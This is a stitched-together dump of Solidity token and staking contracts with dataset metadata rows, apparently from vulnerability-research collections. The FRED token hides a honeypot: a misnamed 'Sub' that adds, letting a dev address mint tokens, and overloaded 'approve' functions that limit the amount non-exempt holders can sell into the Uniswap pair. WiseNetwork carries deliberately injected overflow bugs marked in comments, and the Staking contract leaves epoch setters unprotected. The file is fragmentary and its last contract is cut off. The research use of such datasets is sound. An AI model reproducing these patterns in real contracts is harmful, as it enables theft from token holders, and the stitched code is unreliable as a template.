event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FRED is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = 0;
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 26,404 | 11,221 |
f7e733ec18cefc30f42495871a37431e7e0da81218560a6002d98a8d2b1afc61
| 15,565 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0x47e658675083916c060cdb171ca0046fbdf02ed4_integerOverflow.sol
| 2,794 | 10,547 |
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
//require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
//require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function _balanceOf(address owner) view internal returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); //injected INTEGER OVERFLOW OR UNDERFLOW
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); //injected INTEGER OVERFLOW OR UNDERFLOW
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); //injected INTEGER OVERFLOW OR UNDERFLOW
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
// require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes memory _data) public returns (bool);
}
contract ForeignToken {
function balanceOf(address _owner) public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract WiseNetwork is ERC20, ERC20Detailed {
uint256 public burned;
address payable public owner;
string private constant NAME = "Wise Network";
string private constant SYMBOL = "WISE";
uint8 private constant DECIMALS = 18;
uint256 private constant INITIAL_SUPPLY = 1 * 10**8 * 10**18; // init 100 million
event Donate(address indexed account, uint256 amount);
event ApproveAndCall(address _sender,uint256 _value,bytes _extraData);
event Transfer2Contract(address indexed from, address indexed to, uint256 value, bytes indexed data);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor () public ERC20Detailed(NAME, SYMBOL, DECIMALS) {
_mint(msg.sender, INITIAL_SUPPLY);
owner = msg.sender;
}
function burn(uint256 _value) public returns(bool) {
burned = burned.add(_value); //injected INTEGER OVERFLOW OR UNDERFLOW
_burn(msg.sender, _value);
return true;
}
function transferOwnership(address payable _account) onlyOwner public returns(bool){
require(_account != address(0));
owner = _account;
return true;
}
function getTokenBalance(address tokenAddress, address who) public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw(uint256 _amount) onlyOwner public {
require(_amount <= address(this).balance);
uint256 etherBalance = _amount;
owner.transfer(etherBalance);
}
function withdrawForeignTokens(address _tokenContract, uint256 _amount) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
require(_amount <= amount);
(bool success,) = _tokenContract.call(abi.encodeWithSignature("transfer(address,uint256)", owner, _amount));
require(success == true);
return true;
}
function() external payable{
emit Donate(msg.sender, msg.value);
}
function isContract(address _addr) internal view returns (bool) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _amount, empty);
}else {
_transfer(msg.sender, _to, _amount);
return true;
}
}
//erc223-tansfer
function transfer(address _to, uint256 _amount, bytes memory _data, string memory _custom_fallback) onlyPayloadSize(2 * 32) public returns (bool success) {
require(msg.sender != _to);
if(isContract(_to)) {
_transfer(msg.sender, _to, _amount);
ContractReceiver receiver = ContractReceiver(_to);
(bool success1,) = address(receiver).call(abi.encodeWithSignature(_custom_fallback, msg.sender, _amount, _data));
require(success1 == true);
emit Transfer2Contract(msg.sender, _to, _amount, _data);
return true;
}
else {
_transfer(msg.sender, _to, _amount);
return true;
}
}
//erc223-transfer
function transfer(address _to, uint256 _amount, bytes memory _data) onlyPayloadSize(2 * 32) public returns (bool success) {
require(msg.sender != _to);
if(isContract(_to)) {
return transferToContract(_to, _amount, _data);
}
else {
_transfer(msg.sender, _to, _amount);
return true;
}
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) payable public returns (bool) {
approve(_spender, _value);
(bool success1,) = msg.sender.call(abi.encodeWithSignature("receiveApproval(address,uint256,address,bytes)", msg.sender, _value, this, _extraData));
require(success1 == true);
emit ApproveAndCall(_spender, _value, _extraData);
return true;
}
function transferToContract(address _to, uint _value, bytes memory _data) private returns (bool) {
_transfer(msg.sender, _to, _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer2Contract(msg.sender, _to, _value, _data);
return true;
}
}
| 280,000 | 11,222 |
1d241c8a21fd5cdd6d3ba6a539c983bf3a603637e0e1251498e06612c915937e
| 27,520 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ae/AeA9C421e5A1eA344BdB810e23bfb416cE62028d_Staking.sol
| 4,178 | 16,745 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsROCKET {
function rebase(uint256 rocketProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract Staking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable ROCKET;
address public immutable sROCKET;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _ROCKET,
address _sROCKET,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_ROCKET != address(0));
ROCKET = _ROCKET;
require(_sROCKET != address(0));
sROCKET = _sROCKET;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(ROCKET).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsROCKET(sROCKET).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sROCKET).safeTransfer(warmupContract, _amount);
return true;
}
function setEpochEndBlock(uint b) external{
epoch.endBlock = b;
}
function setEpochLength(uint l) external{
epoch.length = l;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsROCKET(sROCKET).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsROCKET(sROCKET).balanceForGons(info.gons));
IERC20(ROCKET).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sROCKET).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(ROCKET).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsROCKET(sROCKET).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsROCKET(sROCKET).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsROCKET(sROCKET).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(ROCKET).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sROCKET).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sROCKET).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 76,222 | 11,223 |
39f58bc5ae0f849e31e2062d9ce9f581fcbbf4e23fa995973dda8aee5eb4fd63
| 38,346 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/7160_11139_0x53831fe77d50fe71258b27cf617b01128869b522.sol
| 5,059 | 20,369 |
pragma solidity 0.8.10;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
